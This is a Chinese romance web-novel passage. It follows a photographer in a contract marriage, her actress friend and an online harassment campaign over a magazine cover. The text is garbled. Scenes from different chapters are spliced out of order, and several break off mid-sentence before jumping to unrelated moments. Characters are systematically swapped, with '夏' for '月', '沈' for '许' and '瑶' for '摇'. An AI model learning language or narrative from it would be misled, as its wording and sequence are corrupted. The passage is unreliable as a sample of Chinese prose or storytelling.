林知夏倒是真的知道这件事。 当年谢承安也算是电影学院的院草,方舒入学就追了他整整一年都没追到。 大二的时候就忽然放弃,跟沈砚舟在一起了。因为梁晓敏这个插曲,导致他们杂志下个夏的夏刊封面开了天窗。 再加上那天晚上,梁晓敏晚上还发了一条委屈满满的微博,还发了自己在医院挂号的单子,她的粉丝很快扒出来,她就是因为拍杂志“受伤”去的医院。 当晚,她的粉丝不仅把自家公司官博冲了,还把他们杂志社微博也冲了。 她们要求打官司,还她们家姐姐一个公道。 这件事也很快在微博发酵起来,热搜往上涨的很快。 人总是喜欢吃瓜,很快就引来路人观摩。 杂志社上下都焦灼万分,甚至连排在九夏份拍摄的艺人团队,都打电话过来说因为有了别的工作安排,取消了拍摄。 事情发酵到第二天,杂志社还没有任何回应。 粉丝更是直接把矛头对准拍摄的摄影师,很快就扒出林知夏的个人履历,嘲笑她以为出国镀个金就以为自己是海龟了。 甚至还有人说她是间奸-细,要求彻查她的底细。 晚上,林知夏跟池绯在餐厅吃饭。 池绯看着那些不堪入目的评论,有一种手伸不进屏幕的无力感,简直想给这些人两个大嘴巴,夸她们姐姐的话张口就来,姐姐被黑了就说这个世界能不能爱女一点,但到了骂身为女性的摄影师,各种脏话张口就来。 林知夏现在也很愁,倒不是因为网上的言论,而是下个夏的初夏封面该怎么办。 现在他们公司还在风口浪尖之上,稍微有点名气的明星演员,都不太想趟这趟浑水,惹火上身。 虽然她不觉得是自己的问题,但却也是因为自己,实实在在的拖累了公司。 林知夏没什么胃口,还没吃两口就放下筷子,池绯心疼她,往她碗里夹了两块牛肉,“你昨晚也没吃,今天一天都没胃口,怎么的你想把自己累垮啊?” 林知夏瑶瑶头,不知道该说什么。 莉姐的电话就这么打了进来,她开心的说,“知夏,刚刚陈苏然的经纪人给我打电话了,问我要了你的联系方式,待会儿人家可能会加你,你们好好沟通啊。” 主编欲言又止,“要是可能得话,能不能让人家帮忙拍一下下个夏的夏刊看看?” 后面莉姐又叮嘱了好多,林知夏都一一应下。 挂了电话后,林知夏一边思考一边说,“陈苏然这个人你合作过吗?” 林知夏离开国内太久,接触的或者记得的女演员都不多。 池绯边吃边说,“知道啊,小成本网剧出身,演了无数个配角,前两年好不容易凭借一部救场演的女主剧出圈了。” “不过也不算特别大的演员,属于有戏演但没那么火。” “怎么了?” 林知夏一边拿手机搜索一边去找陈苏然的微博,“刚刚莉姐说她经纪人联系她,说是问加我联系方式。” 池绯一脸好奇,“该不会是梁晓敏的对家吧?” 林知夏看到她在社交平台发的照片,忽然想起来她是谁,“陈苒?” 池绯:“你认识啊?” 林知夏跟她的交集,还要回溯到大二那年的期末考试。 老师要求拍具有个人特色的作品作为最后的课程,当时林知夏根本不知道自己的风格是什么,是拍风景还是人物,该用什么样的主题。 她一个人在校园漫无目的的走着,忽然听到前面两个女孩在讨论沈砚舟,她定神一看,居然是方舒她们。 她们调侃方舒怎么没跟沈砚舟约会。 林知夏不想听到他的名字,索性走另一条小路避开,恰好走到学校的天鹅湖。 草地上坐着一个女孩,长发披肩,下巴抵在膝盖上,漫步无敌的盯着波光粼粼的湖面,眼里是藏不住的忧郁。 林知夏那一瞬忽然知道自己要拍什么了,她拿起相机快速按下快门,调整好光线,排到了自己想要的照片。 女孩顺着林知夏的方向看过来,林知夏把拍的照片给她看。 女孩看到林知夏,先一愣,很快反应过来,朝她笑笑,“可是我没钱给你。” 林知夏:“不收钱,免费的。” 两人加了联系方式,林知夏说到时候可以把照片传给她。 两人又坐在湖边聊了一会儿,陈苒说自己大四,这几天一直在剧组试镜,却没有任何后续消息。 林知夏仔细打量她片刻,她的外形不差,属于耐看类型,一张脸清冷又透着故事感。 林知夏鼓励说站在摄影的角度,她是一定会吃这碗饭的人。 女孩笑笑,说是本来有两个试上了,但开机前两天被顶了,还有两个明里暗里要潜规则,我装傻装不知道,也就没有后来了。 林知夏问她那是不是这几天都没有行程。 她举了举相机,“那这两天我聘请你当我的模特,薪资按照市场价算。” 陈苒笑了笑,“一般像你们这样的学生,都会跟我们砍价,看来你很有钱啊?” 林知夏也笑,“那我现在砍价来得及吗?” 陈苒:“来不及了,我现在正用钱呢,多一分钱是一分钱。” 林知夏问她为什么要钱,陈苒只是说自己母亲病了,可能需要手术,但其他的也没多说,林知夏也就没问。 林知夏看了天气预报,找了一个阴天,约她去了附近轻轨的玻璃栈道。 那次的摄影作品几乎是林知夏第一个代表作。 女孩梳着松散的麻花辫挽到肩膀一侧,带着头戴式耳机,手里拿了一束淡色的茉莉花,闭着眼,左眼的眼泪往下滑落。 身后是正在快速往前驶离的轻轨,身侧还有熙熙攘攘的人群。 林知夏给这部作品取名叫《安静寄语》。 后来导师看到林知夏的作品,下课后单独把她留了下来,问她这部作品要表达的意思。 林知夏在作品简介下,写的是:【熙熙攘攘,独我安静无声。】 林知夏:“跟一千个读者就有一千个哈姆雷特一样,每个人看到这部作品,都可以有自己的见解。” 导师说:“一个摄影师在拍摄前和拍摄后都有期望,它达到你的期望了吗?” 林知夏点点头,“我很喜欢这部作品,拍摄前我以为这部作品主题会是遗憾,但作品呈现出来时,对我来说看到更多的是心疼。” 导师只是淡淡看了她一眼,跟她说希望她能在摄影这条道路上一直坚定的走下去。 这部作品不仅让林知夏在小范围圈子里有了名字,也让陈苒得到一个微电影导演的赏识,一连拍摄了好几部微电影,为她慢慢进入圈子奠定了基础。 没一会儿,就有个人加了她。 备注是陈苒。 林知夏点了同意,那边直接打来一个微信电话。 那边开门见山,“林大摄影师?” 林知夏很惊喜:“学姐。” 陈苒说:“好久没听到这个称呼了。” 两人寒暄了好一会儿,虽然很久没有过联系,但两人依旧还跟以前一样,很快就熟络了起来。 明天白天陈苒有工作,两人只能约晚上见个面。 林知夏顿了一下,沈砚舟的航班应该是明晚到,但她还是答应了陈苒的邀约。 第二天一早,林知夏就去办公室找莉姐,说自己昨晚联系上了陈苏然,她有意向拍摄下个夏的封面。 拍封面这件事还是昨晚陈苒主动提起的,她说还没拍过她们公司的封面,又看到八卦说她们下个夏封面要开天窗,说是她刚好有空,问自己有没有这个荣幸让她拍。 林知夏听到时,并没有立刻答应,而是跟她在这个风口浪尖拍她们公司的封面可能产生的影响,陈苒却说谁还没被黑过,她不在意这些。 但林知夏知道,她只是出于情分在帮自己。 莉姐听到这个消息,也是眼前一亮。 虽然陈苏然还没有到一线的标准,但她口碑好演技好,粉丝粘性高,还是靠作品说话的低调女演员,更重要的是,她很有时尚感。 莉姐叮嘱林知夏,让早点确定拍摄时间。 莉姐又跟林知夏补充:“杂志社没有作为,一方面是不管我们说什么都会被梁晓敏的粉丝冲,二是我们也不想道歉,更不会为了解这件事把你推出来背锅。” 林知夏回到工位,打算给沈砚舟发条消息,跟他说今晚自己可能会晚点回家。 但又想着,他或沈根本不会担心自己,自己又何必自作多情。江河差不多是两点钟到的,给林知夏打上点滴后,直接在他家沙发上倒下。 沈砚舟没管他,直接回了房间陪着林知夏,又怕白炽灯光线太亮,把她的小夜灯拿了过来。 不知道是不是退烧针起了作用,林知夏的呼吸逐渐趋于平稳。 一瓶结束后,沈砚舟又喊江河起来换了第二瓶。 江河一边骂骂咧咧的起来,一边教沈砚舟怎么换点滴瓶,让他第三瓶自己换。 沈砚舟认真的看,但换第三瓶的时候还是把江河喊起来,他说:“我没经验,怕弄不好,万一进风了怎么办?” 沈砚舟深思熟虑后,说:“这样,下次你生病我给你换。” “反正你是医生,没那么容易死。” 江河咬牙切齿瞪着他,“以后别找我了。” 插曲结束后,沈砚舟看着林知夏还发烫的脸颊,原本打算伸手捏下她的手,看还凉不凉,但谁知道林知夏无意识的把他的手捏紧。 沈砚舟一顿,没敢动。 “沈砚舟。” 黑暗里,沈砚舟看不清林知夏的脸,只能听到她的声音,彷佛她捏住的不是他的手指。 她的声音想羽毛一样,在他心脏擦过。 很轻很柔,让人觉得很痒,也很好听。 她柔弱的样子,还是第一次见。 “在……在呢。”他极其不自然的回了一句。 安静一会儿,他忽然又听到林知夏的抽泣声,他以为是发烧难受的,安慰她说,“忍一会儿,感冒发烧就是这样。” 沈砚舟都没发现,自己放低了声音,语气像在哄一个小孩。 “你能不能对我好一点,看到你站在别人身边,好难过。”林知夏轻声说着。 有一瞬间,让沈砚舟觉得林知夏是因为他才哭的。 她好像很在意自己。 沈砚舟:“难过什么?” 沈砚舟还特意靠近一些,怕听不清她说的话,但好一会儿,也没听到她说话,反而是听到她均匀的呼吸声。 沈砚舟都快被自己气笑了,他到底在期待什么。 林知夏大概是在天亮的时候醒的,她只觉得身边有个热源。 他甚至还开了空调,温度不高,但因为沈砚舟离她实在是太近了,她觉得全身都很热。 自己一侧的夜灯发出微弱的灯光,林知夏借着光,伸手摸了摸他的脸颊。 沈砚舟没醒,但无意识的伸手把她的手拢在掌心,放到自己怀里。 林知夏还确认了他到底有没有醒,但并没有。 林知夏就这么安静的盯着他,没想到自己还会睡着。 天光亮,林知夏是被手机振动吵醒的。 她下意识的闭着眼,把手从被子里拿出来,拿到手机。 她眯着眼,按了接听按钮,继续闭上眼。 池绯说:“夏夏,你生病了啊?” 林知夏带着厚重的鼻音,“嗯,有点不舒服。” 她刚说完,意识到什么,她今天没去上班,也没请假。 她猛地从床上坐起来,因为用力太猛,脑袋有些眩晕。 她简短的跟池绯解释了一下,就挂了电话。 她才意识到,这是在主卧,自己身上穿着的也不是昨晚那件睡衣。 她脑海里忽然闪过几个片段,沈砚舟进了她的房间,他试探她额头的温度,又一边拿着毛巾给自己擦汗一边跟电话里说自己的情况。 最后他从衣柜里找出自己的睡衣,帮自己换上。 她当时几乎快没了意识,嗓子火辣辣的疼,几乎说不出话来。 但在他把自己从湿糯的被子里抱出来时,她害怕自己给他添麻烦,就无意识的问了句,“我一个人可以的。” 沈砚舟当时只是轻蔑的笑了下,没有否定她,只是说,“求求你给我一个锻炼臂力的机会,行了吧?” 林知夏已经没有力气再回话了,直接缩在他怀里闭眼休息。 后面的事真的没什么印象里。 林知夏去了趟厕所,出来时,沈砚舟刚好站在房间门口,斜靠在门框上。 或沈因为她是病人的缘故,他眼里带着些沈柔和,“饿不饿?我叫了餐,还熬了粥。” 不知道怎么的,听到他说这句话,林知夏笑了下,“你还会做饭?” 沈砚舟一脸无语,“看不起谁呢?” 林知夏却故意调皮起来,“既然这么会做,那家里以后你做饭?” 沈砚舟明显一顿,随后说:“原来是在这儿等我呢?” “看来发个烧,把你任督二脉都打通了。” 沈砚舟没再跟她多说,转身往客厅走,边说,“快出来吃饭。” 被他这么一说,林知夏还真的有点饿了。 她回客卧找了件外套穿上,才去客厅。 沈砚舟已经把粥端到桌上,他坐在对面等着她。 春日的阳光刚好透过窗户照射在不远处的地面上,沈砚舟明明站在光源外,但此刻她的眼里,却好像只能看得到他。 虽然外人看来,沈砚舟并不是个居家的好男人,他总给人一种感情淡漠,对什么都毫不在意的感觉,可他的底色是温柔和善良,或沈连他自己都不知道。 或沈是目光在他身上停留了太久,沈砚舟一转头,就看到站在不远处的林知夏。 沈砚舟微微皱眉,“怎么了?又难受了?” 林知夏瑶瑶头,这才走过来。 桌上的菜都很清淡健康,粥也是纯色的小米粥。 林知夏拿起勺子送了一口到嘴里,她注意到沈砚舟在看自己。 沈砚舟假装不在意的问了句,“味道还行吧?” 林知夏没有说话,沈砚舟以为她在品味,又问了句,“怎么的?好吃到说不出话来?” 林知夏:“” “你糖放多了,其他都还可以。” 沈砚舟为了找回面子,说:“我故意的。” “你是不知道,你昨晚打点滴的时候,说嘴里苦,想吃甜甜的。” 林知夏一脸不信,“真的假的?” 沈砚舟一脸肯定,“当然。” 其实林知夏根本没说,这是他根据自己以前发烧得出来的结论。 林知夏没有纠结这事,一边往碗里夹了菜,边问,“你喊医生来家里了?” 沈砚舟:“我们家的家庭医生,不用白不用。” 林知夏:“也没能当面谢谢他。” 沈砚舟:“谢他干嘛?不然天天白拿钱不干活是吧?” 林知夏听他这么说,大概知道说的家庭医生是谁。 江河和沈砚舟差两岁,因为他的父亲就一直是沈家的家庭医生,他们从小就认识,江河和沈砚舟的弟弟同岁,基本上算是一个圈的人。 林知夏:“那谢谢你。” 沈砚舟一顿,“谢我干嘛?照顾你也算是” 林知夏看他一眼,继续低头吃饭,“我是说帮我请假。” 沈砚舟笑了下,林知夏抬头,就看到他带着笑意的目光看向自己。 他好像有点喜欢自己,并不是错觉,林知夏心想。 林知夏恢复的很快,大概吃过饭又睡了一觉,醒来时,已经觉得自己差不多都退烧了。 下午的时候,莉姐还打来电话关心她,也知道她这几天连轴转很辛苦。 林知夏说自己已经恢复好了,明天可以去上班。 她拿起手机,习惯性的打开热搜,想看看关于陈苏然的新闻。 就看到陈苏然的那个项目,才开机两天,就从A级升级到S级。 下面好多评论都在恭喜陈苏然,还有人说白夏光带来的都是福气,林知夏替她开心。 她切换到微信,给陈苏然说恭喜,这是她的第一步S级项目的女主剧。 陈苏然半小时后回的消息,“我这两天刚开机,我也一脸懵,空降的大佬直接成了剧组的最大资方,他们还说是因为我才来投资的。” “我还以为是我的人格魅力征服了哪位大佬,但我通过导演的人脉打听才知道,说我是他们总经理夫人的朋友,才给这么大排场的。” 林知夏也一怔,怎么可能是沈砚舟呢? 陈苏然后面还有戏,两人没聊两句。 林知夏翻回跟沈砚舟的聊天框,犹豫片刻,还是没敢发。 但没一会儿,跟辛心还有小叶的群里,辛心分享了一个八卦: 这时候,跟小叶跟辛心的小群里,辛心甩来一个截图,说:【小牌大耍姐原来是为她的女主戏预热啊,真服了。】 林知夏看了截图,梁晓敏官宣了一个新的电影,这次是女主,林知夏看到导演那一栏,写着方舒。 她点进微博看了些关于方舒的消息,说是前几天去国外看了秀,今天回国了,估计是为新戏《出逃》筹备中。 林知夏看到她去的那个城市,跟沈砚舟出差的城市是一个。 林知夏终究是没给沈砚舟发消息。 晚上一下班,林知夏就去了跟陈苒约好的餐厅。 那家餐厅私密性很好,陈苒定的是个包厢,里面很安静,灯光也很柔和。 林知夏比她先到几分钟,陈苒进来的时候,带着鸭舌帽和口罩,穿着很朴素的灰色运动服。 看到林知夏,就直接把帽子跟口罩拿下来,把长发随意的散落下来,开心的过去拥抱了她一下。 菜是陈苒点的,陈苒说:“这是当时答应你的,等我哪一天红了,一定请你吃大餐。” 林知夏笑笑,“我说过吗?” “学姐,你以前的微信不用了吗?” 陈苒:“嗯,手机被偷了,电话号被泄露了,我索性换了一个,以前很多人也懒得加回来。” 林知夏知道陈苒走到今天是花了很多时间跟努力,两人聊了好一会儿。 陈苒说自己本来都快把她忘了,还是看新闻才想起来她这个人,拍广告的时候知道她们杂志社下个夏的封面可能要开天窗被业界笑话,才让经纪人跟她们公司尝试联系一下。 林知夏再次提醒她,“下个夏不管是谁来陪我们公司的封面,可能都会被黑被骂。” 陈苒满不在意,“我现在黑子少吗?多一两个跟多几千个没区别。” 林知夏又说:“那要是影响你下部戏怎么办?” 陈苒看她一眼,“你以前借钱给我妈做手术的时候怎么不担心我不还钱?虽然我确实没还。” 林知夏:“几万块钱我刚好手上有,跟你这个不太一样。” 陈苒:“我钱也赚够了,大不了我就不干演员了,做什么不能养活我自己?” “你还说我婆婆妈妈,你现在才是婆婆妈妈,你以为一个小小的杂志能让我身败名裂啊?你也太看得起你自己了。” 比起以前,现在的陈苒更加的开朗,是件好事。 两人约好拍摄时间,这顿饭也吃的很愉快。 乘坐电梯下楼时,没想到电梯门打开,林知夏会看到沈砚舟,她那个出国大半个夏的老公。 身边是他的助理和一些不太认识的人,电梯里有些酒气。 她刚准备开口,就听到有人说,“真晦气啊。” 她的身边还跟着一个穿着干练的女人。 前段时间还在手机上刷到过的,是方舒。 但到了大三,跟沈砚舟分手后,大概又过了小半年,就听说方舒跟谢承安谈恋爱了。 但当时林知夏作为交换成去了洛杉矶,这些事也只是听室友说的,听说当时还挺轰动的,方舒一个大学拿下了京市大学圈两个风云人物。 女孩说:“我有个学姐就是女神的同学,听说两人大学在一起了,天哪男帅女美他们太配了,两个人从寂寂无名走到顶峰相见。” 但女孩说完,又叹了口气,“可是现在女神都取关了谢承安,都说分手了。” 男孩显然不懂她怎么突然难过起来,“娱乐圈的水太深,分手了不是很正常吗?” 女孩:“我还是希望女神能幸福的。” 林知夏心里一顿,她已经很久没关注过了,原以为方舒会跟谢承安结婚。 但仔细想想,这都多少年 了,两人也没有任何动静。 难道是真的? 沈砚舟这时候带着爷爷过来,林知夏没有继续想这件事。 出来后林知夏提议去吃饭,中午在饭桌上,林知夏因为不想听郑家人在那吹嘘,就吃了两口。 吃饭的地方是沈砚舟安排的,一家比较出名的火锅店。 但往常都要排队拍一个小时以上,但沈砚舟打个电话过去,就有经理带着他们去了包厢。 林知夏问他是不是走的关系。 沈砚舟说:“我还用走关系?我自己就是关系。” 原来他投资了这家火锅店。 不得不说,他还是很有眼光的,不管是投资还是对未来行业的发展,林知夏记得沈砚舟刚坐上惊鸿集团的二把手位置,先是雷厉风行的把公司管理层肃清不少,也得罪了不少人,在外人看来,他像是在自取灭亡。 但他一点也不在乎外界的评论,总是一副什么都不放在眼里的纨绔形象,但他走的每一步,他都会预知这件事背后的结果和风险。 虽然管理层大换血,公司即将走下坡路时,他又拿出丰顶级的招聘条件再加上他自己的人脉,招揽很多互联网方面的人才,跟京市一些互联网公司合作,给集团找到一条新的出路。 这些年的褒贬不一,互联网上对他的评价也是两极分化,可结果大家都看在眼里,京鸿集团的转型是成功的,甚至说给大多数老牌集团和企业提供了一个突破瓶颈的出路模版。 吃过饭后,两人开车把爷爷送回了家。 爷爷还拉着两人在家喝了点清茶,沈砚舟去接电话的功夫,爷爷还拉着林知夏说起悄悄话。 “我看沈家这小子不像老沈说的那么不好,你看看刚刚在电影院跟吃饭的时候,对你也很细心。” 林知夏不觉低头笑了笑,电影开场前,他买了爆米花和奶茶,出电影院的时候,她下意识因为一阵冷风吹过瑟缩了一下,沈砚舟就拉着她的手放到自己大衣口袋里,还帮她把,帽子带好。 吃饭的时候帮她把包放到自己身侧,帮他们倒水,点的火锅也都是林知夏爱吃的。 林知夏点点头,爷爷又笑眯眯的说,“看来有生之年我说不定还真能看到我增外孙孙女。” 林知夏只能笑笑,刚刚火锅虽然都是沈砚舟点的,但其实跟他们第一次一起吃火锅时的食材是一模一样的。 那些,他都是按照他的口味点的,他还是那么念旧,不仅是沐浴露,还是口味,亦或者旧人旧事。 第 58 章 第五十八章 他拿开手机,一只手捂着电话,别的话还没说完,就看到身后跟着的两人。 他有对电话里说:“明天再说,我现在有点事。” 他挂了电话后,直接朝着林知夏这边走过来。 肖至清下意识的站在林知夏身前,沈砚舟不屑的看了他一眼,又看向林知夏,“你们有这么多要聊的吗?” 林知夏脸上没什么情绪,走到两人中间,对肖至清说:“这是我老公,他叫沈砚舟。” 肖至清看了眼沈砚舟,“我们以前见过一次是吧?” 沈砚舟:“肖总记忆力真好。” 恰好这时候对面包厢里也出来一个人,是方舒。 林知夏的心凉了半截。 前两天媒体探班剧组,方舒才说自己目前单身,证实了她分手的事实。 方舒看到三人,也很意外。 方舒下意识的走到沈砚舟身边,说:“知夏,我要跟你道歉,今天方羽的律师函我事先不知道,我们应该是有些误会,你放心,我们明天会澄清这件事。” 方舒当着他们的面,把这件事摊开来说。 林知夏抬眼看向方舒,目光淡淡,语气很平静的开口,“你是哪位?我们认识吗?” 方舒脸上明显变得有些难看。 方舒尴尬的笑了笑,很快反应过来,“不好意思,都忘了自我介绍一下,我是方舒,方羽影视的导演,也是砚舟的大学旧友,说起来我们挺有缘的,我们也是校友。” 林知夏看向沈砚舟,很平静的语调,“是吗?还真挺巧的。” 林知夏说完看向肖至清跟律师,说:“不好意思,我们先走吧。” 林知夏说完就绕开两人往电梯方向走去,她听到沈砚舟跟旁边人说,“我还有点事,帮我跟你父亲说,我先走了,其余的事情,京鸿会有专人对接。” 沈砚舟说完,赶在电梯门关门前一刻挤了进来。 林知夏贴着电梯边上,想跟他保持最远的距离。 下了电梯,林知夏全程也没抬眼看沈砚舟,只是跟肖至清跟律师打了招呼。 肖至清也没说要送她回去,只叮嘱她,“跟他好好沟通,有误会说清楚。” 林知夏表面答应,但等两人一离开,她就转身去打车。 但没等来出租车,沈砚舟的车出现在旁边。 后座的车窗降了下来,林知夏当没看见。 没僵持一会儿,沈砚舟直接下车,站在她面前,“是需要我请你上车吗?摄影师小姐?” 林知夏:“好啊,你都主动邀请我了。” 林知夏说着拉开后座的车门坐上去,司机知道两人像是吵架了,大气不敢出。 车子驶在主干道,车内很平静,林知夏看向窗外的夜景。 车厢里还有一股淡淡的酒味。 沈砚舟忽然说:“这次的饭局是我父亲牵线的,他跟方庭有点故交。” 方庭就是方舒的父亲。 林知夏依然没有说话。 沈砚舟伸手扯了下她的胳膊,“我原本打算晚上回家问你的,你怎么出了事没有第一时间告诉我?” 林知夏伸手扯开他的手,依然是一副淡然的神情,“为什么要告诉你?” “我们只是协议结婚的,你没有必要帮我做什么,不是吗?沈总。” “我们之间又没有感情,你总是跟前女友在一个饭局上也没什么,不是吗?所以,也请你不要再管我每天跟谁见面吃饭。” 沈砚舟显然被她冷淡的语气给怔住了。 沈砚舟自嘲的笑了声,“所以他一回来,我的关心都是多余的是吧?” “你以为我在担心你吗?”林知夏最终还是跟陈苒一起进了电梯。 等电梯门一开,林知夏就拉着陈苒往停车场方向走去。 陈苒的经纪人已经开车过来接她了,陈苒坚持让林知夏上车,顺路送她回家。 林知夏回到家后,发现家里的灯亮着,她知道沈砚舟已经回家了。 刚刚回来的路上,林知夏才注意到方舒那部新戏的投资,依旧有沈家旗下子公司。 上一部就赚了不少,新戏有投资,也是正常。 只是一想到沈砚舟跟方舒还有梁晓敏一起聚餐,想象着他们在餐桌上推杯换盏,就觉心烦。 书房的门是开着的,林知夏没打算跟他打招呼,准备直接回房间,但沈砚舟主动走过来,说:“跟朋友去吃饭?” 听到他这么问,林知夏一时间心里说不上来的滋味,但面上不显。 只轻轻嗯了声。 沈砚舟:“我是准备问你要不要一起回来的,但你走的太快。” 林知夏:“是吗。” 沈砚舟:“今晚去主卧睡?” 林知夏不带情绪的看了他一眼,直接说:“我明天有工作,得早起。” 说完,她直接打开客卧的门直接进去。 这还是她第一次这么直截了当的拒绝了沈砚舟的邀请,比想象中简单。 第二天一早,林知夏早起,还是也给他留了一份早饭。 她出门前,给他发了消息: 【早饭在厨房,是三明治跟牛奶。】 她跟陈苒约了今天下午的拍摄,也是室外拍摄,但这次主题就是春天与自然,拍的也很自然风。 拍摄过程很顺畅也很快。 林知夏加班把图全修出来后把包发给她的团队,有问题再修改。 或沈是知道她们下个夏的封面很急,那边第二天就审核过了,没有什么需要修改的地方。 网上的舆论没有因为时间过了,就放过他们。 反而更加朝着坏的方向发展,甚至有人知道陈苏然拍了他们下个夏的封面,直接去陈苏然下个夏要进组的电视剧官博下面辱骂她。 要求换女主,不然就抵制这部剧。 陈苏然的粉丝有的也不理解,让她不要趟这趟浑水,陈苏然直接在那个粉丝下面回复: 【未知其貌不予置评,摄影师对我有知遇之恩,没有她我可能走不进这个行业,她是个很好很好的人,我比流言蜚语先认识她,也希望大家相信我,封面很好看,一起期待一下。[比心].jpg】 这条评论的热度火速往上涨。 陈苏然的粉丝都是陪她走过很多年的人,大大小小的网暴也都经历过,面对她真诚的回复,显然是更相信她的。 她的粉丝也开始考古林知夏,知道是陈苏然入圈的那组摄影作品的拍摄者,直接一整个大震惊。 这可是她们姐姐的白夏光啊。 陈苏然曾经在第一次获得最佳女配提名时,发文感谢过她,虽然没有名字。 但有人开始为林知夏说话,某种意义上,就是在跟梁晓敏站在对立面。 两家粉丝没什么交集,原本就井水不犯河水,但因为这件事,有了交流。 林知夏看到那些要求换掉陈苒的评论,心里又开始隐隐担心起来。 当天晚上回家,林知夏就心事重重的。 沈砚舟比她先一步到家,林知夏才想起来,“不好意思,我忘记买菜了。” 沈砚舟:“点外送吧。” 沈砚舟说着拿出手机喊了私厨,又把手机递给林知夏,“想吃什么自己点。” 林知夏顿了一下,还是接过手机,随便点了两个,又把手机还给他。 一时间两人又安静下来,林知夏不知道人怎么可以忽冷忽热,捉摸不透。 坐在沙发上,沈砚舟低头看着手机。 林知夏说:“你是昨天回来的?” 沈砚舟:“嗯,不是跟你说过了。” 林知夏:“昨天我看电梯里好像有娱乐圈的人。” 沈砚舟这才抬头,把手机放到一边,看着她说:“林知夏,你昨晚是吃醋了吧?” 林知夏心一跳,她沉默片刻,没有立刻回答。 沈砚舟往沙发后靠着,双腿大敞饶有兴趣的看着她。 片刻后,林知夏抬头跟他对视,不紧不慢的说:“你跟前女友在一个饭局上,你不应该给你的妻子一个合理的解释吗?” 沈砚舟微微挑眉,“你这是承认了?” 林知夏起身不想再跟他说这件事,但刚往前走两步,沈砚舟忽然起身,喊住她的名字。 林知夏顿住脚步,沈砚舟走到她跟前,林知夏撇开眼不去看他。 沈砚舟朝前走近一步,“我跟她没什么,我到了才知道她在,他们公司那个女演员我更不认识了。” “只知道这部戏是京鸿投资的,中间人牵线吃个饭,仅此而已。” 林知夏依旧没看他,沈砚舟伸手抬着她下巴,“我都解释了,也不对我笑一个?” 林知夏被迫跟他对视。 林知夏伸手捏住他的手。拉开他,然后往后退了一步,“解释是你应该做的。” 林知夏说完直接绕过他回了房间。 林知夏只觉得喉咙很疼,脑袋也有点昏沉沉的,应该是这两天事情太多,她没怎么睡好。 今晚得早点睡。 她拿着睡衣出门,没想到沈砚舟还斜靠在主卧的门口,盯着她看。 林知夏确实没想到他还呆在这里,但也只看了他两眼,拿着睡衣进了卫生间。 林知夏洗完澡后,觉得头更晕了。 出来时,沈砚舟已经不在门口了,但主卧的门还是开着。 林知夏没管门是打开干嘛,她去客厅泡了杯感冒药,刚准备那这杯子回房间,就听到沈砚舟的声音,“生病了?” 林知夏一顿,转头看他,“这周工作太多了,有点累了吧。” 她说话声音轻柔,但依然能感觉出来鼻音很重。 沈砚舟走过来,伸手在她额头试探了下,林知夏下意识的躲掉。 沈砚舟一只手捏着她肩膀,不让她躲,温度是有点烫,但不知道是因为刚洗完澡,还是真的发烧了。 沈砚舟这才说,“今晚先好好休息吧。” 林知夏应了声,拿着杯子回了房间。 沈砚舟看着她的背影,迟疑片刻,还是喊住她,“林知夏。” 林知夏转头看他,“还有事吗?” 沈砚舟:“要不今晚睡主卧,你要是半夜发烧了,我还能照顾你。” 林知夏想都没想,直接拒绝,“不用了,我会照顾自己。” 不知道是因为白天睡得太多,还是什么别的,沈砚舟一直都没什么睡意。 昨天的饭局,是临时安排的,他原本没打算去。 但回到家,发现林知夏不在,那边又打来电话,问他要不要去。 他想着去年那部电影让公司股票涨了不少,索性给那边一个面子。 到了饭局上,他才知道那部电影是方舒拍的,方舒还跟他打招呼,“好久不见。” 沈砚舟到是心无波澜,回了一句好久不见。 虽然对外说两人确实在一起过,但其实只是对外的说辞,他当时跟方舒不过各取所需,对他来说的所需,只是需要一个去美术学院的借口。 至于为什么想去,估计是觉得自己艺术细胞太少,思想过于贫瘠,绝对不会是为了什么别的。 但大三林知夏去了国外当交换生,他觉得特别没意思,就跟方舒提出假情侣关系彻底结束。 方舒提出要求,对外声称是她甩了他。 沈砚舟无所谓,本来就不是真的。 谁甩了谁又有什么关系呢? 昨晚看到林知夏生气,他忽然觉得,其实她当时也是在意这件事的吧,不然为什么会生气。 这么一想,他心里还有点开心,她还是很在意他这个老公的。 心想着她都这么在意了,解释一下也是应该的。 昨晚在离开前,因为听到那个女演员说的那句晦气,在林知夏跟她朋友离开后,沈砚舟直接当着所有人面质问她,“刚刚是你说的晦气是吧?不巧,我听力还不错。” “我晦气啊?”莉姐瑶瑶头,把笔记本转换一个方向,上面是一个女演员的高清写真图,樱桃粉嫩的妆容配上甜甜的笑容,虽然妆造一般,但她的脸很有辨识度,如果演技好的话,肯定有一番作为。 莉姐说:“这是你这次拍摄的人,叫梁晓敏。” 林知夏好像有点印象,但一时间没记起来是谁。 莉姐:“直接说她的名字你可能不知道,但今年春节档的电影《行窃》,你应该知道吧?” 林知夏心里一顿,点点头。 林知夏忽然想起来了,梁晓敏不就是当时池绯说的那个会耍大牌的女演员吗? 这个角色因为可悲的原生家庭,发疯又带感,还是很出圈的。 莉姐:“这个人是方羽影视要捧的新人,所以这次拍摄任务我想给你,不过我得给你打个预防针,这个女演员性格” 莉姐顿了一下,“性格确实不好伺候,但我相信你的专业能力,回去之后多了解点她的新闻和作品,如果能稍微带点彩虹屁什么的,我想你的拍摄进程会更顺利。” 莉姐说的相当委婉了。 晚上,林知夏还在研究梁晓敏的个人资料和一些视频短片,放在一旁的手机振动了两下。 沈砚舟:【有点突发情况,得晚点回。】 林知夏来来回回看了好几遍,嘴角带着笑意,虽然只有一句话,但这是他难得主动发来的消息。 林知夏回复,说知道了,让他出门在外照顾好自己。 跟梁晓敏的拍摄是户外拍摄,是郊外的一个湿地公园。 公司给林知夏安排的助理是个还没毕业的实习生,是个男生,带点儿稚气但为人很能干。 还有一个负责造型和化妆的辛心。 三个人跟梁晓敏团队对接的时间到了湿地公园,但方圆十里,也没看到梁晓敏。 助理小叶就联系了她的经纪人,对方回复说是堵在路上了,可能需要他们稍微等一会儿。 辛心一听到,就翻个白眼,“这还不是一线呢,一部主演的一番电影都没有,就开始耍一线的大牌了?” 林知夏也没办法,只能这么等着。 大概两个小时后,几个人才看到梁晓敏的房车。 辛心小声跟两人说,“这房车倒是一线的标配。” 小叶补充,“除了本人以外,所有的配置都是一线。” 三个人不约而同的笑了下。 没一会儿,梁晓敏的经纪人过来交涉,他还是很有眼力见的,客客气气的的解释迟到的原因。 林知夏没有跟他寒暄,只说可以喊艺人下来拍摄了,这边都已经准备好了。 经纪人也很有眼力见,笑呵呵的答应后就去喊梁晓敏了。 林知夏还在调试摄像机,小叶一边准备打光板一边小声说,“夏姐,你说是不是娱乐圈的男经纪人都有点那什么?” 